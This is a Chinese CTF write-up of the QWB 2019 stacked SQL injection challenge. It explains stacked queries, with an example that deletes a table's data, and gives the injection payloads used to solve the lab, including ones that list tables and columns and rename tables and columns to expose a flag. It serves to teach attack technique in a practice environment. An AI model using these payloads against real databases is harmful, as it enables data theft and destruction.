天天看點

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

SQL Injection8(堆疊注入)——強網杯2019随便注

前言

前面參加強網杯線上賽,親身體驗了一把ctf從入門到入土,從打ctf變成被ctf打…

這裡結合裡面的題來對裡面的知識點進行一個學習總結

随便注是一道sql注入題,因為過濾規則十分強大,是以很難…

這裡會用到堆疊注入的知識,堆疊注入前面有所了解,覺得并不難,是以也沒練習過,但做這道題的時候就又些懵了。

堆疊注入原理

在SQL中,分号(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一起執行?是以這個想法也就造就了堆疊注入。而union injection(聯合注入)也是将兩條語句合并在一起,兩者之間有什麼差別麼?差別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。使用者輸入:1; DELETE FROM products伺服器端生成的sql語句為:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢後,第一條顯示查詢資訊,第二條則将整個表進行删除。

這裡感謝大佬對場景的複現:https://github.com/CTFTraining/qwb_2019_supersqli

讓我這樣的菜雞在比賽後還能學習

随便注

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到查詢頁面傳回了一些資料

輸入1’發現不回顯,然後1’ #顯示正常,應該是存在sql注入了

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

試一下1’ or 1=1 #

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到傳回了資料

正常流程走起,order by

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到order by 2的時候是正常回顯了,order by 3就出錯了,隻有2個字段

這時候用union select進行聯合查詢

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

傳回一個正則過濾規則,可以看到幾乎所有常用的字段都被過濾了

這時候想到堆疊注入,試一下

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到成功了,存在堆疊注入,

我們再直接show tables來查詢下,試下能不能查詢出表

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到有兩張表,下面分别來看下兩張表有什麼字段

0’; show columns from words ;#

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

0’; show columns from

1919810931114514

;#

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看到1919810931114514中有我們想要的flag字段

現在正常方法基本就結束了,要想獲得flag就必須來點騷姿勢了

因為這裡有兩張表,回顯内容肯定是從word這張表中回顯的,那我們怎麼才能讓它回顯flag所在的表呢

内部查詢語句類似 : select id, data from word where id =

(這裡從上面的對word列的查詢可以看到它是有兩列,id和data)

然後1919810931114514隻有一個flag字段

這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字

這時候我們就可以已下面的騷姿勢進行注入:

1.将words表改名為word1或其它任意名字

2.1919810931114514改名為words

3.将新的word表插入一列,列名為id

4.将flag列改名為data

構造payload

1’;rename table

words

to

word1

;rename table

1919810931114514

to

words

;alter table

words

add id int unsigned not Null auto_increment primary key; alert table

words

change

flag

data

varchar(100);#

接着我們再用1’ or 1=1 #,查詢就得到flag

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

可以看下現在資料庫中存在的表

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

現在words表的結構(emmm,這裡怎麼還是flag字段名…)

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

語句有點問題啊,按照下面的語句重新更改,可以發現更改字段名成功

1’; ALTER TABLE

words

CHANGE

flag

data

VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

SQL Injection8(堆疊注入)——強網杯2019随便注SQL Injection8(堆疊注入)——強網杯2019随便注

emmm,這裡就沒問題了,輸入1同樣能得到flag了

但是為什麼不改flag為data也能出結果了,我看别人的writeup不用添加列直接把id改為flag也行

想一想就能發現因為select語句與我們前面設想的有差別

它的select語句應該是 select * from words where id=

總結

  1. 這裡用sqlmap跑過的話可以發現能跑出資料表名那些,當時也沒深度思考它的過濾規則,現在來看因為沒有過濾show,和常用函數,是以sqlmap也能跑出一些資料
  2. show 的使用,前面對sql使用的時候,show 可能隻用過show tables, show databases 這裡還用到了show columns和結合from來使用
  3. 堆疊注入,堆疊注入在原理上還是十分好懂的,但是還是有些生疏,後面再結合sqli靶場練習下
  4. 這裡的騷姿勢才是擷取flag的關鍵啊,修改表名和字段名…這種操作我也是第一次遇到…看别人writeup的時候看到alert,都沒一下反應過來…

參考

  1. 2019 第三屆強網杯 Web 部分 WriteUp + 複現環境
  2. SQL注入-堆疊注入(堆查詢注入)

繼續閱讀